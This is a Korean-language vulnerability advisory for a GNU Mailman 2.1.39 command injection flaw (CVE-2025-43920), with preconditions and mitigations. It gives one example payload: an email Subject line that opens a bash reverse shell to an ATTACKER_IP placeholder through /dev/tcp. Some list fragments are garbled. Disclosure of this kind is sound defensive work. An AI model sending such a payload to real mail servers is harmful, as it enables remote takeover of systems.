
CVE-2025-43920에 대한 개념 증명 익스플로잇, GNU Mailman 2.1.39에서 이메일 제목 줄을 통한 명령 주입 취약점으로, 원격 코드 실행과 리버스 셸 접근을 가능하게 합니다.
발견자: Firudin Davudzada & Musazada Aydan
공개 날짜: 2025년 4월
CVE ID: CVE-2025-43920
심각도: 5.4 중간 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
공격 유형: 원격
영향받는 소프트웨어: GNU Mailman 2.1.39 (cPanel/WHM과 번들됨)
cPanel 및 WHM과 함께 번들로 제공되는 GNU Mailman 2.1.39는 인증되지 않은 공격자가 임의의 운영 체제 명령을 실행할 수 있게 하는 중요한 명령 주입 결함에 취약합니다. 이 취약점은 mm_cfg.py 설정 파일에서 PUBLIC_EXTERNAL_ARCHIVER 또는 PRIVATE_EXTERNAL_ARCHIVER를 사용하여 외부 아카이버가 구성되고 이메일 제목 줄에 적절히 이스케이프되지 않은 셸 메타문자가 포함된 경우 발생합니다. 이로 인해 전체 시스템이 손상되어 공격자가 리버스 셸을 설정하고 데이터를 유출하거나 다른 악의적인 행위를 수행할 수 있습니다.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (이메일 제목 처리 로직, CookHeaders.py와 같은 파일 포함 가능);, &, |)가 있는 경우 임의 명령 실행이 가능합니다.이 취약점을 악용하기 위해 공격자는 악성 제목 줄을 포함한 이메일을 Mailman 관리 목록으로 보낼 수 있습니다. 예:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
전제 조건:
PUBLIC_EXTERNAL_ARCHIVER 또는 PRIVATE_EXTERNAL_ARCHIVER를 통해 외부 아카이버가 구성되어 있어야 합니다.ATTACKER_IP:4444에 리스너(예: netcat)가 설정되어 있어야 합니다.예상 결과: 외부 아카이버 명령이 제목 줄을 정리하지 않으면 악성 명령이 서버에서 실행되어 공격자 서버로의 리버스 셸이 설정됩니다.
외부 아카이버 비활성화: mm_cfg.py에서 PUBLIC_EXTERNAL_ARCHIVER 및 PRIVATE_EXTERNAL_ARCHIVER를 None으로 설정하여 외부 아카이버 기능을 비활성화합니다:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
입력 정리: 외부 아카이버가 필요한 경우 명령이 제목 줄을 정리하여 셸 메타문자 삽입을 방지하도록 합니다.
구독 제한: 메일링 리스트 구독을 신뢰할 수 있는 사용자로 제한하여 노출을 줄입니다.
Firudin Davudzada와 Musazada Aydan은 승인된 침투 테스트 계약 중에 이 취약점을 책임감 있게 공개했습니다. 조정에 도움을 준 MITRE CVE 팀에 감사드립니다.
이메일: [email protected]\